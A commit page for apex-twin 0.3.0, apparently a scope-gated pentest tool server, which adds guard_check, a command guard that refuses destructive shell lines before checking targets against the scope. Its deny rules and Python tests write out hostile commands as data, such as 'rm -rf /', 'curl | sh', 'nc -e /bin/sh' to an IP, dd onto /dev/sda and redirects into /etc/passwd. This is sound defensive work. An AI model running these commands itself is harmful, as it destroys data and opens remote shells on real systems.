apex-twin 0.3.0: guard_check, the command guard before the shell

An agent that has its own shell was the blind spot: the scope gate covered
apex-twin's tools and nothing else. guard_check takes the exact command line,
tokenises it (quotes and operators included), and decides in this order:

1. the deny rules - recursive rm/chmod on a system path, rm -rf * after cd into
   one, find -delete, dd/mkfs/wipefs/shred on a device, shutdown/reboot/kill 1,
   systemctl stop, firewall flush, a pipe into an interpreter that reads its
   program from stdin, nc -e, and writes or mv into /etc;
2. only if no rule matched, every URL, IP, host:port and network-command
   argument is checked by apex_scope_check().

Rules first is the contract: rm -rf / <out-of-scope-url> is refused for the
delete, not for the URL. The suite proves it - disabling the rm rule turns the
precedence check red and the command is refused by the scope instead.

Guard has its own rules without a scope (so it is useful before the RoE is
loaded), writes an audit line per decision, and never executes. It is a speed
bump with an audit trail, not a sandbox: the description says so.

32 tools, 116 checks. README rule 7 now describes what the code actually does
(a name outside allow_domain must resolve entirely inside allow_ip; an
allow-listed domain may not resolve private while allow_private is false).
This commit is contained in:
lotherk committed 2026-11-21 06:38:52 +00:00
1 parent 4168a7d0f9
commit f5bbefc6aa
9 files changed
+1310 -25

No files matched your search

+38 -13
View File
@@ -17,8 +17,8 @@ separate, explicitly armed switch.
## Build
```sh
make # apex-twin, ~149 kB static-ish binary, zero warnings under -Werror
make test # 87 end-to-end checks, no mocks
make # apex-twin, ~170 kB static-ish binary, zero warnings under -Werror
make test # 116 end-to-end checks, no mocks
make install # /usr/local/bin/apex-twin
```
@@ -39,11 +39,13 @@ action. The rules, in the order they are applied:
| 4 | port not in `allow_port` | deny (empty list = all ports) |
| 5 | target in neither `allow_ip` nor `allow_domain` | deny |
| 6 | private/loopback/link-local and `allow_private` is false | deny |
| 7 | a name that resolves partly outside `allow_ip` | deny |
| 7 | a name not in `allow_domain` that does not resolve entirely inside `allow_ip` | deny |
Rule 7 exists because of DNS rebinding: an allow-listed name that resolves to an
internal address would otherwise be a way in. Every address a name returns must
be inside the scope, and an unresolvable name is refused rather than waved through.
Rule 7 exists because of DNS rebinding: a name that is not allow-listed must
resolve only to addresses the scope lists, and an unresolvable name is refused
rather than waved through. A name that *is* in `allow_domain` is trusted for its
addresses, but while `allow_private` is false it may not resolve into a private net
— an allow-listed name pointing at `10.0.0.5` would otherwise be a way in.
Radio transmission is gated a second time: `serial_tx` must be true *and* the
command must be on the allowlist. A receiver is a scanner; a transmitter is an
@@ -72,11 +74,33 @@ below. `expires` accepts `YYYY-MM-DD` or full ISO-8601.
No scope file means no engagement. That is deliberate: a default that scans
something is a liability, not a convenience.
## Tools (31)
## The command guard
`guard_check` exists for the half of the work that happens in the operator's own
shell. It takes the exact command line, tokenises it, and applies the deny rules
*before* it looks at a target: recursive `rm`/`chmod` on a system path, `dd`,
`mkfs` or `wipefs` onto a device, `shutdown`/`reboot`, a firewall flush, stopping
a service, a pipe into an interpreter (`curl … | sh`), `nc -e`, and a redirect
into `/etc`. Only when no rule matched does it take the URLs, IPs, `host:port`
pairs and the arguments of known network commands, and ask `apex_scope_check()`
about each one.
The order is the contract and the suite proves it: `rm -rf / <out-of-scope-url>`
is refused for the delete, not for the URL — sending the operator to fix the
scope would be sending them to fix the wrong thing.
It is a speed bump with an audit trail, not a sandbox. The tokenizer does not
expand variables or follow an interpreter, so a line can hide its targets; when
it sees none it says so. Use it on commands a human can read.
## Tools (32)
**Scope and bookkeeping** — `scope_show`, `scope_check` (ask the gate without
touching anything), `scope_reload`, `capabilities`, `audit_log`, `evidence_save`
**Command guard** — `guard_check` (may this shell line run: deny rules first,
then the scope of every target in it)
**Network recon** — `portscan` (in-process TCP connect, no nmap needed), `nmap`
(profiles quick/default/full/udp/vuln/http), `dns` (dig), `tls_cert` (openssl),
`banner`, `http_head`
@@ -163,14 +187,15 @@ finding and the next report no longer mentions it.
make test
```
87 checks, real binary, real DNS, real files written; no mocks. The suite was
116 checks, real binary, real DNS, real files written; no mocks. The suite was
seen red on purpose: with the "no scope" branch disabled by `if (0 && ...)`,
three checks fail, because they assert the *reason* and not merely that an error
came back — a gate that falls through to the next deny branch looks identical
from `isError` alone. The two new guarantees were made to fail the same way: the
report JSON was missing its closing brace once (the suite refused to parse it),
and with the slash guard in `evidence_read` disabled, `sub/../<blob>` was
returned and the traversal check went red.
from `isError` alone. New guarantees are made to fail the same way: the report
JSON was missing its closing brace once (the suite refused to parse it), with the
slash guard in `evidence_read` disabled `sub/../<blob>` was returned, and with
the `rm` rule disabled the guard fell through to the scope and reported the URL
instead of the delete — the precedence check went red.
A port is never assumed: an earlier version of the HTTP test used 18797, which on
this host is an SSH forward to another machine, and a foreign server answered
@@ -178,7 +203,7 @@ this host is an SSH forward to another machine, and a foreign server answered
## Status
0.2.0. Built and run: 31 tools, 87 checks. The loop closes: a probe saves raw
0.3.0. Built and run: 32 tools, 116 checks. The loop closes: a probe saves raw
evidence, a finding points at it, `report_markdown` turns the findings into one
Markdown or CSV file, and `evidence_read` gets the proof back. Not yet wired
into a fleet router.
+5 -8
View File
@@ -15,6 +15,7 @@ module, deliberately left out, or still open.
|---|---|---|
| RoE / target scope (`intercept`, `server/target_gate*`) | `src/scope.c` | Ordered rules, deny-beats-allow, DNS-rebinding rule, expiry, `allow_private`, `serial_tx` |
| Guard audit trail (`guard/guard.go` audit ring) | `src/store.c` `apex_audit()` | Append-only JSON line written *before* the action |
| Command guard (`guard/guard.go` deny rules) | `src/guard.c`, `guard_check` | Deny rules first, then the scope of every target in the line; no execution |
| Findings (`server/findings*.go`, `db`) | `src/store.c` findings + `finding_*` | One JSON file per finding, no schema, no migration |
| Evidence (`evidence/store.go`) | `evidence/<ts>-<label>.bin` + `evidence_save`/`_list`/`_read` | 0600 blobs, base64 on read when not text |
| Report export (`report/findings.go`) | `tools_report.c` `report_markdown` | Markdown and CSV, severity-sorted, severity table |
@@ -36,18 +37,14 @@ module, deliberately left out, or still open.
## Open
1. **Command guard** (`guard/`): a `guard_check` tool that takes a shell command
line, extracts URLs/IPs/hosts, applies the scope, and refuses destructive
commands. Useful for an agent that has its own shell: it would make the gate
available *before* a command runs, not only inside APEX TWIN's tools.
2. **HTTP capture** (`traffic/`, `intercept/`): a scope-gated forward proxy on
1. **HTTP capture** (`traffic/`, `intercept/`): a scope-gated forward proxy on
loopback that stores request/response pairs as evidence. The C port has the
pieces (HTTP parser, evidence store, audit) but not the proxy loop.
3. **Asset inventory** (`server/assets*.go`): one record per host with the
2. **Asset inventory** (`server/assets*.go`): one record per host with the
services seen; findings currently carry a target string only.
4. **Finding lifecycle** (`finding_workflow.go`, `finding_verification.go`):
3. **Finding lifecycle** (`finding_workflow.go`, `finding_verification.go`):
status pending/confirmed/false-positive, retest pointers.
5. **Notifications** (`notify/`): webhook on a critical finding.
4. **Notifications** (`notify/`): webhook on a critical finding.
The rule for every item: it may observe or prove, it may not add a shell, and it
must call `gated()`/`apex_scope_check()` before it opens a socket or spawns a
+2
View File
@@ -46,6 +46,8 @@ static void build_tools(void)
g_tools[n++] = TOOLS_KB[i];
for (i = 0; i < TOOLS_REPORT_N && n < 64; i++)
g_tools[n++] = TOOLS_REPORT[i];
for (i = 0; i < TOOLS_GUARD_N && n < 64; i++)
g_tools[n++] = TOOLS_GUARD[i];
g_srv.name = "apex-twin";
g_srv.version = APEX_VERSION;
+1 -1
View File
@@ -15,7 +15,7 @@
#include "mcp.h"
#define APEX_VERSION "0.2.0"
#define APEX_VERSION "0.3.0"
#define APEX_MAX_OUT (1u << 20)
#define APEX_PATH_MAX 512
#define APEX_PATH_FULL 1024
+1004
View File
File diff suppressed because it is too large. Load diff
+49
View File
@@ -0,0 +1,49 @@
/*
* guard.h - the command guard.
*
* apex-twin has no shell, and that is on purpose. But an operator's agent often
* does: it runs commands in its own Bash, and the scope gate never sees them.
* guard_check is the answer to "may I run this line": it parses the command
* text, applies a small set of catastrophic-command rules first, then asks
* apex_scope_check() about every target it can find. Nothing is executed.
*
* This is a speed bump with an audit trail, not a sandbox. A command that hides
* its intent (variables, eval, an interpreter reading stdin from somewhere the
* tokenizer cannot see) can pass. It exists so that the dangerous line stops
* before the scope question is even asked, and so that the decision is on disk.
*/
#ifndef APEX_GUARD_H
#define APEX_GUARD_H
#include "apex.h"
#define GUARD_MAX_TARGETS 32
#define GUARD_MAX_NOTES 8
#define GUARD_TEXT 512
typedef struct {
char host[256];
int port;
int allowed;
char source[16]; /* url | ip | host:port | netcmd */
char reason[GUARD_TEXT];
} guard_target;
typedef struct {
int allowed; /* 1 = no deny rule, every target in scope */
char rule[32]; /* "" when allowed, "scope", or a deny rule id */
char reason[GUARD_TEXT];
guard_target targets[GUARD_MAX_TARGETS];
int n_targets;
char notes[GUARD_MAX_NOTES][256];
int n_notes;
} guard_verdict;
/*
* Evaluate one command line. default_port is used for a bare host that carries
* no port of its own (0 = do not enforce a port). Returns 1 always; the answer
* is in v->allowed.
*/
int apex_guard_check(const char *command, int default_port, guard_verdict *v);
#endif /* APEX_GUARD_H */
+2
View File
@@ -26,5 +26,7 @@ extern const mcp_tool TOOLS_KB[];
extern const size_t TOOLS_KB_N;
extern const mcp_tool TOOLS_REPORT[];
extern const size_t TOOLS_REPORT_N;
extern const mcp_tool TOOLS_GUARD[];
extern const size_t TOOLS_GUARD_N;
#endif /* APEX_TOOLS_H */
+95
View File
@@ -0,0 +1,95 @@
/*
* tools_guard.c - the MCP face of the command guard.
*
* One tool, guard_check. It never runs the command: it answers whether the
* line may be run, names the rule that refused it, and writes the decision to
* audit.log before returning. That makes the guard useful to an agent that has
* its own shell and wants to stay inside the engagement's rules.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "apex.h"
#include "guard.h"
#include "tools.h"
static void t_guard_check(mcp_conn *c, const mcp_json *args, void *user)
{
const char *command = mcp_arg_string(args, "command");
int port = mcp_arg_int(args, "port", 0);
guard_verdict v;
mcp_buf b;
int i;
(void)user;
if (command == NULL || *command == '\0') {
mcp_reply_error(c, "command is required");
return;
}
apex_guard_check(command, port, &v);
apex_audit("guard_check",
v.n_targets > 0 ? v.targets[0].host : "(command)",
v.n_targets > 0 ? v.targets[0].port : port, v.allowed,
v.reason, command);
mcp_buf_init(&b);
mcp_buf_printf(&b, "{\"allowed\":%s,\"rule\":",
v.allowed ? "true" : "false");
if (v.rule[0] != '\0')
apex_json_str(&b, v.rule);
else
mcp_buf_puts(&b, "null");
mcp_buf_puts(&b, ",\"reason\":");
apex_json_str(&b, v.reason);
mcp_buf_puts(&b, ",\"command\":");
apex_json_str(&b, command);
mcp_buf_puts(&b, ",\"targets\":[");
for (i = 0; i < v.n_targets; i++) {
const guard_target *t = &v.targets[i];
if (i > 0)
mcp_buf_puts(&b, ",");
mcp_buf_puts(&b, "{\"host\":");
apex_json_str(&b, t->host);
mcp_buf_printf(&b, ",\"port\":%d,\"allowed\":%s,\"source\":",
t->port, t->allowed ? "true" : "false");
apex_json_str(&b, t->source);
mcp_buf_puts(&b, ",\"reason\":");
apex_json_str(&b, t->reason);
mcp_buf_puts(&b, "}");
}
mcp_buf_puts(&b, "],\"notes\":[");
for (i = 0; i < v.n_notes; i++) {
if (i > 0)
mcp_buf_puts(&b, ",");
apex_json_str(&b, v.notes[i]);
}
mcp_buf_puts(&b, "]}");
mcp_reply_json(c, b.p);
mcp_buf_free(&b);
}
const mcp_tool TOOLS_GUARD[] = {
{ "guard_check",
"Ask whether a shell command may be run, before running it. Applies the "
"built-in rules for catastrophic lines first - recursive delete of a "
"system path, dd/mkfs/wipefs on a device, shutdown/reboot, firewall "
"flush, service stop, a pipe into an interpreter (curl | sh), netcat -e, "
"and writes into /etc - and then checks every URL, IP and host:port in "
"the line against the scope gate. Nothing is executed and nothing is "
"resolved beyond the gate's own check. It is a speed bump with an audit "
"trail, not a sandbox: a command that hides its targets (eval, "
"variables, an interpreter reading stdin) can still pass, so use it on "
"commands you can read.",
"{\"type\":\"object\",\"properties\":{"
"\"command\":{\"type\":\"string\",\"description\":\"the exact command "
"line the shell would run\"},"
"\"port\":{\"type\":\"integer\",\"description\":\"port for a bare host "
"without one; 0 leaves the port unchecked\"}},"
"\"required\":[\"command\"]}",
t_guard_check },
};
const size_t TOOLS_GUARD_N = sizeof(TOOLS_GUARD) / sizeof(TOOLS_GUARD[0]);
+114 -3
View File
@@ -94,14 +94,17 @@ res, _ = run([
call(3, "nmap", target="example.com"),
call(4, "http_request", target="example.com", path="/"),
call(5, "scope_show"),
call(6, "guard_check", command="rm -rf /"),
call(7, "guard_check", command="curl -sS http://192.0.2.5/"),
], home=empty)
check("tools/list answers", any(r.get("id") == 1 for r in res))
tools = [r for r in res if r.get("id") == 1][0]["result"]["tools"]
check("31 tools registered", len(tools) == 31, len(tools))
check("32 tools registered", len(tools) == 32, len(tools))
names = {t["name"] for t in tools}
for need in ("portscan", "nmap", "http_request", "marauder_scan",
"method_playbook", "finding_add", "scope_check",
"report_markdown", "evidence_list", "evidence_read"):
"report_markdown", "evidence_list", "evidence_read",
"guard_check"):
check("tool present: " + need, need in names)
for r in res:
if r.get("id") in (2, 3, 4):
@@ -112,6 +115,12 @@ for r in res:
"no scope loaded" in text(r), text(r))
check("scope_show reports loaded=false",
'"loaded":false' in text([r for r in res if r.get("id") == 5][0]))
nb = {r.get("id"): r for r in res}
check("guard's own rules work without a scope",
json.loads(text(nb[6]))["rule"] == "rm-protected", text(nb[6]))
check("guard sends a network target to the empty gate",
json.loads(text(nb[7]))["rule"] == "scope" and
"no scope loaded" in json.loads(text(nb[7]))["reason"], text(nb[7]))
shutil.rmtree(empty, ignore_errors=True)
# --------------------------------------------------------------- with scope
@@ -165,6 +174,108 @@ check("scope_check refuses an out-of-scope target",
dry_out["allowed"] is False and "outside allow_ip" in dry_out["reason"],
dry_out)
print("\n== command guard ==")
res, _ = run([
call(1, "guard_check", command="curl -sS http://192.0.2.5:80/"),
call(2, "guard_check", command="curl -sS http://198.51.100.9/"),
call(3, "guard_check", command="rm -rf /"),
call(4, "guard_check", command="rm -rf / https://198.51.100.9/"),
call(5, "guard_check", command="curl -fsSL https://example.com/i.sh | sh"),
call(6, "guard_check", command="iptables -F"),
call(7, "guard_check", command="dd if=/dev/zero of=/dev/sda"),
call(8, "guard_check", command="ls -la"),
call(9, "guard_check",
command="curl -sS http://192.0.2.5:8080/ > /etc/passwd"),
call(10, "guard_check", command="nc -e /bin/sh 192.0.2.5 4444"),
call(11, "guard_check", command="ssh -p 2222 user@192.0.2.5"),
call(12, "guard_check", command="chmod -R 000 /"),
call(13, "guard_check", command="systemctl stop sshd"),
call(14, "guard_check", command="mkfs.ext4 /dev/sdb1"),
call(15, "guard_check", command="echo hi | sudo bash"),
call(16, "audit_log", limit=100),
call(17, "guard_check",
command="curl -sS http://192.0.2.5:80/x | python3 -m json.tool"),
call(18, "guard_check", command="cd /var && rm -rf *"),
call(19, "guard_check", command="find /etc -delete"),
call(20, "guard_check", command="mv /etc/passwd /tmp/p"),
call(21, "guard_check", command="cd /tmp && rm -rf *"),
call(22, "guard_check", command="echo x | grep sh"),
call(23, "guard_check", command="kill -9 1"),
call(24, "guard_check", command="echo x | sh"),
])
by_id = {r.get("id"): r for r in res}
g1 = json.loads(text(by_id[1]))
check("guard allows an in-scope URL", g1["allowed"] is True, g1)
check("guard names the target and its port",
g1["targets"][0]["host"] == "192.0.2.5" and g1["targets"][0]["port"] == 80,
g1["targets"])
g2 = json.loads(text(by_id[2]))
check("guard refuses an out-of-scope URL",
g2["allowed"] is False and g2["rule"] == "scope", g2)
check("guard says why the scope refused", "outside allow_ip" in g2["reason"], g2)
g3 = json.loads(text(by_id[3]))
check("guard refuses rm -rf /", g3["rule"] == "rm-protected", g3)
g4 = json.loads(text(by_id[4]))
check("guard applies the deny rules before the scope",
g4["rule"] == "rm-protected" and "outside allow_ip" not in g4["reason"], g4)
g5 = json.loads(text(by_id[5]))
check("guard refuses a pipe into an interpreter",
g5["rule"] == "pipe-to-shell", g5)
check("guard looks past sudo in a pipe", json.loads(text(by_id[15]))["rule"] ==
"pipe-to-shell", json.loads(text(by_id[15])))
check("guard refuses a firewall flush", json.loads(text(by_id[6]))["rule"] ==
"firewall-flush", json.loads(text(by_id[6])))
check("guard refuses a dd onto a device",
json.loads(text(by_id[7]))["rule"] == "disk-write",
json.loads(text(by_id[7])))
g8 = json.loads(text(by_id[8]))
check("guard allows a command with no target",
g8["allowed"] is True and g8["targets"] == [], g8)
check("guard refuses a redirect into /etc",
json.loads(text(by_id[9]))["rule"] == "etc-write",
json.loads(text(by_id[9])))
check("guard refuses netcat -e", json.loads(text(by_id[10]))["rule"] ==
"netcat-exec", json.loads(text(by_id[10])))
g11 = json.loads(text(by_id[11]))
check("guard reads the ssh port from -p",
g11["rule"] == "scope" and g11["targets"][0]["port"] == 2222, g11)
check("guard refuses a recursive chmod on /",
json.loads(text(by_id[12]))["rule"] == "perm-lock",
json.loads(text(by_id[12])))
check("guard refuses stopping a service",
json.loads(text(by_id[13]))["rule"] == "service-state",
json.loads(text(by_id[13])))
check("guard refuses mkfs", json.loads(text(by_id[14]))["rule"] == "disk-write",
json.loads(text(by_id[14])))
audit = json.loads(text(by_id[16]))
check("guard writes an audit line per decision",
any(e["tool"] == "guard_check" and e["decision"] == "deny" for e in audit),
[e for e in audit if e["tool"] == "guard_check"][:2])
check("guard lets an interpreter with its own program read the pipe",
json.loads(text(by_id[17]))["allowed"] is True,
json.loads(text(by_id[17])))
check("guard sees cd into a system path before rm -rf *",
json.loads(text(by_id[18]))["rule"] == "rm-protected",
json.loads(text(by_id[18])))
check("guard refuses find -delete on a system path",
json.loads(text(by_id[19]))["rule"] == "rm-protected",
json.loads(text(by_id[19])))
check("guard refuses moving a system file",
json.loads(text(by_id[20]))["rule"] == "etc-write",
json.loads(text(by_id[20])))
check("guard allows rm -rf * inside a scratch directory",
json.loads(text(by_id[21]))["allowed"] is True,
json.loads(text(by_id[21])))
check("guard does not mistake a grep argument for a shell",
json.loads(text(by_id[22]))["allowed"] is True,
json.loads(text(by_id[22])))
check("guard refuses killing init",
json.loads(text(by_id[23]))["rule"] == "power-state",
json.loads(text(by_id[23])))
check("guard still refuses a bare interpreter after a pipe",
json.loads(text(by_id[24]))["rule"] == "pipe-to-shell",
json.loads(text(by_id[24])))
print("\n== scope expiry ==")
expired_home = tempfile.mkdtemp(prefix="apex-expired-")
write_scope(expired_home, dict(SCOPE, expires="2000-01-01T00:00:00Z"))
@@ -352,7 +463,7 @@ try:
check("http initialize", init["result"]["serverInfo"]["name"] == "apex-twin",
init)
listing = post({"jsonrpc": "2.0", "id": 2, "method": "tools/list"})
check("http tools/list", len(listing["result"]["tools"]) == 31)
check("http tools/list", len(listing["result"]["tools"]) == 32)
shown = post(call(3, "scope_show"))
check("http scope_show", '"loaded":true' in shown["result"]["content"][0]["text"])
# the id must be the request's id, not one found inside the arguments